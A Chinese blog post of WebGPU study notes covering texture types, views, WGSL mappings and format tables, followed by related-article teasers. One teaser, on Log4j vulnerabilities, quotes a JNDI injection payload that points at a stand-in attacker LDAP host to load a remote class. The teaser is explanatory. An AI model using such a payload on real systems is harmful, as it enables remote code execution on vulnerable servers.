【WebGPU学习杂记】纹理格式表

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

供后续学习查阅检索


纹理类型

共有 “1d”、“2d” 、“3d” 三种纹理类型。可将 “2d” 纹理视为深度为 1 的 “3d” 纹理,而 “1d” 纹理只是高度为 1 的 “2d” 纹理。每种类型的纹理有不同的限制,在设置canvas大小时使用 2d 限制。

const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
const maxCanvasSize = device.limits.maxTextureDimension2D; // 纹理最大宽高像素值

canvas.width = Math.max(1, Math.min(width, maxCanvasSize));
canvas.height = Math.max(1, Math.min(height, maxCanvasSize));

对于 3d 纹理与 2d 纹理的对比而言,在所有 采样器(滤波器)(sampler) 都设置为 linear 的情况下,3d 纹理采样需要查看 16 个像素并将它们混合在一起。 2d 纹理采样只需要 8 个像素。

纹理视图

  • 1d
  • 2d
  • 3d
  • cube
  • 2d-array
  • cube-array

1d纹理 只能有 “1d” 视图。3d纹理 只能有 “3d” 视图。2d纹理 可以有 “2d-array” 视图。若 2d纹理 有 6 层,它可以有一个 “cube” 视图。如果是 6 层的倍数,则可以使用 “cube-array” 视图。可以在调用 <yourTexture>.createView 时选择如何查看纹理。纹理视图默认与其尺寸相同,允许可以向 <yourTexture>.createView 传递不同的尺寸。

cube纹理 表示立方体 6 个面的纹理。Cube 纹理通常用于绘制天空框、反射和环境贴图。

2d-array纹理 使用时可以选择在着色器中访问数组中的哪种纹理,通常用于地形渲染。

纹理视图与WGSL的对应关系

typeWGSL
1dtexture_1d 或 texture_storage_1d
2dtexture_2d 或 texture_storage_2d 或 texture_multisampled_2d 或 texture_depth_2d 或 texture_depth_multisampled_2d
3dtexture_3d 或 texture_storage_3d
cubetexture_cube 或 texture_depth_cube
2d-arraytexture_2d_array 或 texture_storage_2d_array 或 texture_depth_2d_array
cube-arraytexture_cube_array 或 texture_depth_cube_array

调用 device.createTexture 默认是2d, 可选 1d、2d、3d。

纹理格式

  • “颜色” 纹理 格式常用 rgba8unorm。
格式支持渲染支持多重采样支持写入storage采样类型单位纹素大小
r8unormtruetruefalsefloat1
r8snormfalsefalsefalsefloat1
r8uinttruetruefalseuint1
r8sinttruetruefalsesint1
r16uinttruetruefalseuint2
r16sinttruetruefalsesint2
r16floattruetruefalsefloat2
rg8unormtruetruefalsefloat2
rg8snormfalsefalsefalsefloat2
rg8uinttruetruefalseuint2
rg8sinttruetruefalsesint2
r32uinttruefalsetrueuint4
r32sinttruefalsetruesint4
r32floattruetruetrueunfilterable-float4
rg16uinttruetruefalseuint4
rg16sinttruetruefalsesint4
rg16floattruetruefalsefloat4
rgba8unormtruetruetruefloat4
rgba8unorm-srgbtruetruefalsefloat4
rgba8snormfalsefalsetruefloat4
rgba8uinttruetruetrueuint4
rgba8sinttruetruetruesint4
bgra8unormtruetruefalsefloat4
bgra8unorm-srgbtruetruefalsefloat4
rgb10a2unormtruetruefalsefloat4
rg11b10ufloatfalsefalsefalsefloat4
rgb9e5ufloatfalsefalsefalsefloat4
rg32uinttruefalsetrueuint8
rg32sinttruefalsetruesint8
rg32floattruefalsetrueunfilterable-float8
rgba16uinttruetruetrueuint8
rgba16sinttruetruetruesint8
rgba16floattruetruetruefloat8
rgba32uinttruefalsetrueuint16
rgba32sinttruefalsetruesint16
rgba32floattruefalsetrueunfilterable-float16

如 “rg16float”,rg 字母表示纹理支持的颜色通道支持红色和绿色(2 个通道)。16 表示每个通道都是 16 位。末尾的单词表示通道中的数据类型。“float” 表示浮点数据。

unorm 是无符号归一化数据 [0.0~1.0],表示纹理中的数据从 0 到 N,其中 N 是该位数的最大整数值。该整数范围被解释为(0 至 1)的浮点范围。换句话说,对于 8unorm 纹理来说,就是 8 个比特值域 [0, 255] 被解释为数值 [0.0~1.0]。

snorm 是带符号的归一化数据 [-1~1] ,数据范围是从位数所代表的最负整数到最正整数。作为有符号整数 [-128~127] 被转换为 [-1~1]。

sint 是有符号整数。uint 是无符号整数。如果有多个字母数字组合,则指定每个通道的位数。例如,rg11b10ufloat 即红色和绿色各 11 位。b10 是 10 位蓝色,它们都是无符号浮点数。

  • 将其用途设置为 GPUTextureUsage.RENDER_ATTACHMENT 表示支持对其进行渲染。

  • 在 WGSL 中 sint 需要 texture_2d<i32>,uint 需要 texture_2d<u32>。

unfilterable-float(不可过滤浮点型)意味着采样器只能使用 nearest 的格式,这意味着可能需要手动创建一个绑定组布局,不能使用 'auto' 布局。因为桌面 GPU 通常可以过滤32 位浮点纹理,大多数移动设备还不能。如果您的适配器支持 float32-filterable 功能并且启用了该功能,那么 r32float、rg32float、rgba32float 格式就会从不可过滤浮点格式转换为浮点格式,这些纹理格式无需其他更改即可正常工作。

深度和模板格式

格式支持渲染支持多重采样支持写入Storage采样类型单位纹素大小支持作为拷贝源支持作为拷贝写入目标特性
depth32floattruetruefalsedepth4truefalse
depth16unormtruetruefalsedepth2truetrue
stencil8truetruefalseuint1truetrue
depth24plustruetruefalsedepthfalsefalse
depth24plus-stencil8truetruefalsedepthfalsefalse
depth32float-stencil8truetruefalsedepthfalsefalsedepth32float-stencil8
WebGPU 规范篇 04 纹理 系列博客总目录:https://blog.youkuaiyun.com/cRGBc/article/details/120412614 文章目录1 纹理的创建举例创建时参数不合法的情况2 纹理视图 GPUTextureView创建时参数不合法的情况*简述创建过程3 纹理格式 GPUTextureFormat4 为纹理输入图片/视频数据使用 GPUQueue.copyExternalImageToTexture 方法使用 GPUQueue.writeTexture 方法使用 GPUDevice.importExterna 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 43

WebGPU学习(5)---使用深度测试和纹理

我们现在采用了一些设置来开启深度测试,也将纹理应用于立方体。

1644

RV1126上YOLOv8部署实战:从模型转换到板端推理的完整避坑指南

本文提供了在瑞芯微RV1126芯片上部署YOLOv8目标识别算法的完整实战指南。内容涵盖从模型转换、环境搭建到板端推理代码编写的全流程,重点解析了RKNN-Toolkit使用、量化配置、内存优化及后处理实现等关键环节的常见问题与解决方案,旨在帮助开发者高效避坑,实现边缘AI应用的稳定落地。

pz89012345的博客 568

WebGPU 纹理与纹理类型基础 (D3D对纹理的描述比较详细)

文中对纹理的概念做了详细讲解,介绍了一维纹理,二维纹理,三维纹理,纹理数组的概念和逻辑表示。

fatcat123的博客 1826

AI Agent评估:指标、策略与最佳实践

AI智能体正逐渐融入到各个领域,从日常的对话助手到复杂的工作流程自动化,其应用范围不断拓展。然而,确保这些智能体能够可靠、高效地完成任务至关重要,这就使得AI智能体评估成为了人工智能发展过程中不可或缺的一环。本文将深入探讨AI智能体评估的指标、策略以及最佳实践,为读者全面解读这一关键领域。

llm_way的博客 3498

深度学习分类任务中,正负样本比例失衡的5种实战解决方案(附代码)

本文深入探讨了深度学习分类任务中正负样本比例失衡的5种实战解决方案,包括智能采样技术、动态数据增强、损失函数工程、模型架构创新和训练策略优化。针对信用卡欺诈检测、医疗诊断等场景,提供了详细的代码实现和评估方法,帮助开发者有效解决样本不平衡问题,提升模型在真实场景中的表现。

h9j8k7l6m5n的博客 425

6. WebGPU 纹理(Textures )

纹理通常表示二维图像。二维图像只是颜色值的二维数组,因此您可能想知道,为什么需要二维数组的纹理?可以将存储缓冲区用作二维数组。纹理的特别之处在于它们可以通过称为。

xuejianxinokok的专栏 1977

《算法第四版》学习心得一——怎么学算法

 一、算法的两个核心 算法的核心内容实际上有两个: 算法的概念和思路。 算法的编程实现。 两者相互关联影响,缺一不可。 不理解基本概念和思路,就算把实现代码背下来,也无济于事,因为脑袋里依然是一片模糊。理解了概念和思路,不去用代码实现,脑袋里有的只是概念,无法根据真实需求实现解决方案。 二、学算法需要什么基础 首先,必须要有一定的编程语言基础,要理解语言中最基本的概念:数据类型,类,成...

illikang的博客 3909

WebGPU学习(7)---渲染到纹理

我们可以从屏幕上看到三角形被绘制到纹理上。在WebGL中,需要生成一个FBO(Framebuffer对象)来设置渲染目标,并且FBO中的绑定操作也很复杂。WebGPU 上的纹理渲染给人的印象是编码变得更加直观。

798

微信公众号网页H5跳转小程序实战指南(开放标签wx-open-launch-weapp)微信H5跳转小程序、wx-open-launch-weapp、小程序跳转按钮、微信开放标签、H5打开小程序

跳转小程序(wx-open-launch-weapp)唤起App显示支付按钮等等……而我们这次要用的,就是跳转小程序的标签。场景是否支持服务号网页✅ 支持小程序静态网页托管✅ 支持订阅号❌ 不支持微信外部浏览器❌ 不支持这个“开放标签”功能其实很强大,除了跳转小程序,还有唤起APP、跳支付、调用客服等能力。但可惜资料零散,很多坑等着你亲自踩一遍。这篇文章我整理的流程基本涵盖了从“能不能跳”到“怎么跳”的完整路径,希望你能像我一样省下几个小时的踩坑时间。

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 1163

MATLAB从入门到精通-APP调用simulink中的参数,并且修改,将结果返回到APP中

本次案例为以下微分方程: 其中方程的初始值为: Step1:搭建simulink文件,如下图所示: 初始值配置在积分模块中,如下图所示: Step2:制作app 操作视频: ,时长01:11 代码: 本文包括APP如何回调simulik中d的参数,以及把simulink中的仿真结果输出到APP中的绘图界面中。 核心代码如下: ...

wenyusuran的专栏 3042

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

RK3588 部署 YOLO26 目标检测:从环境搭建到 NPU 推理

采集图像(500+ 张,覆盖不同光照和角度)→ 筛选(删除模糊、无目标的图像)→ LabelImg 标注(选择 YOLO 格式)→ 划分 train:val:test = 7:2:1labelImg├── train/├── val/nc: 3类别顺序必须与 LabelImg 标注时一致。YOLO26 在 RK3588 上的部署流程是 PC 端训练 → ONNX 导出(opset=11)→ RKNN 转换(INT8 量化)→ 板端推理。

LXY_LOVE36的博客 418

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 423

Python 爬虫实战:医学临床指南爬取(含 PDF 解析与结构化存储)

在当今数字化时代,医学临床指南作为医生进行科学诊疗的重要参考资料,包含大量经过临床验证的诊疗路径和建议。这些指南通常发布在权威医学网站上,数量庞大且更新频繁。如何自动化地抓取并存储这些指南,成为医疗数据分析、医学研究以及医疗 AI 模型训练等工作的关键第一步。本文将系统讲解如何利用 Python 爬虫技术从权威医学网站爬取临床指南内容,并实现 PDF 解析与结构化存储。

u014481728的博客 449

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 205

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 168

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 364

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 198

焦点仿真学习记录:water_only 基线怎么搭、怎么验、怎么调

在纯水介质中搭建5阵元几何聚焦仿真,通过合理设置网格、介质参数、源延时与传感器区域,实现焦点理论位置的精准对齐。基于声速计算延时,验证焦点位置误差小于0.1 mm,峰值压力达1.2×10⁵ Pa,确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照,确保聚焦性能评估可量化。

qq_43441284的博客 203

Flink SQL 学习笔记(二):Kafka/CDC/Doris连接器实战与常用SQL语法优化

这篇把生产环境最核心的 Kafka、MySQL CDC、Doris 三个连接器的实操步骤都梳理清楚了,还有并行度设置、Hint 动态参数、WITH 子句、去重优化这些日常写 SQL 高频用到的技巧,都是实际踩坑总结出来的实用内容。

dongziwen1的博客 92

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开,以“设计动机—核心机制—触发模式—代码实践”为主线,对比 select、poll 的监听管理与就绪检查方式,解析关注集合、就绪列表及核心接口,重点讲解水平触发与边缘触发的行为差异,以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践,梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程,厘清就绪通知与操作完成的区别,分析常见错误与性能影响因素,帮助读者建立从事件循环到连接管理的完整认识,为高并发服务器与事件驱动框架开发打下基础。

承于所学,探技术之渊;以代码求政,寻成长之道。 1万+

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 185

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 357

ES6:Iterator与Generator函数学习及Generator函数和async实现异步编程理解

几个概念:可迭代对象是指具有迭代器接口的对象: 实现类数组使用 for of 循环 对象无法使用数组的迭代器。 generator 函数类似遍历器函数,返回一个迭代器对象; 该对象调用 方法时,会把 后面的表达式作为值 ,并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数 后面跟的内容为 得到的 值。流程:循环 会调用 generator 函数,返回一个 iterator 对象, 方法由 generator 内部的 决定。 Gene

2403_87566238的博客 221

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 228
上一篇: 【WebGPU学习杂记】纹理贴图magFilter的Shader简易模拟
下一篇: 【WebGPU学习杂记】数学基础拾遗(1)三角学基础
PerfumerKarma
博客等级 码龄7年 57粉丝 18原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值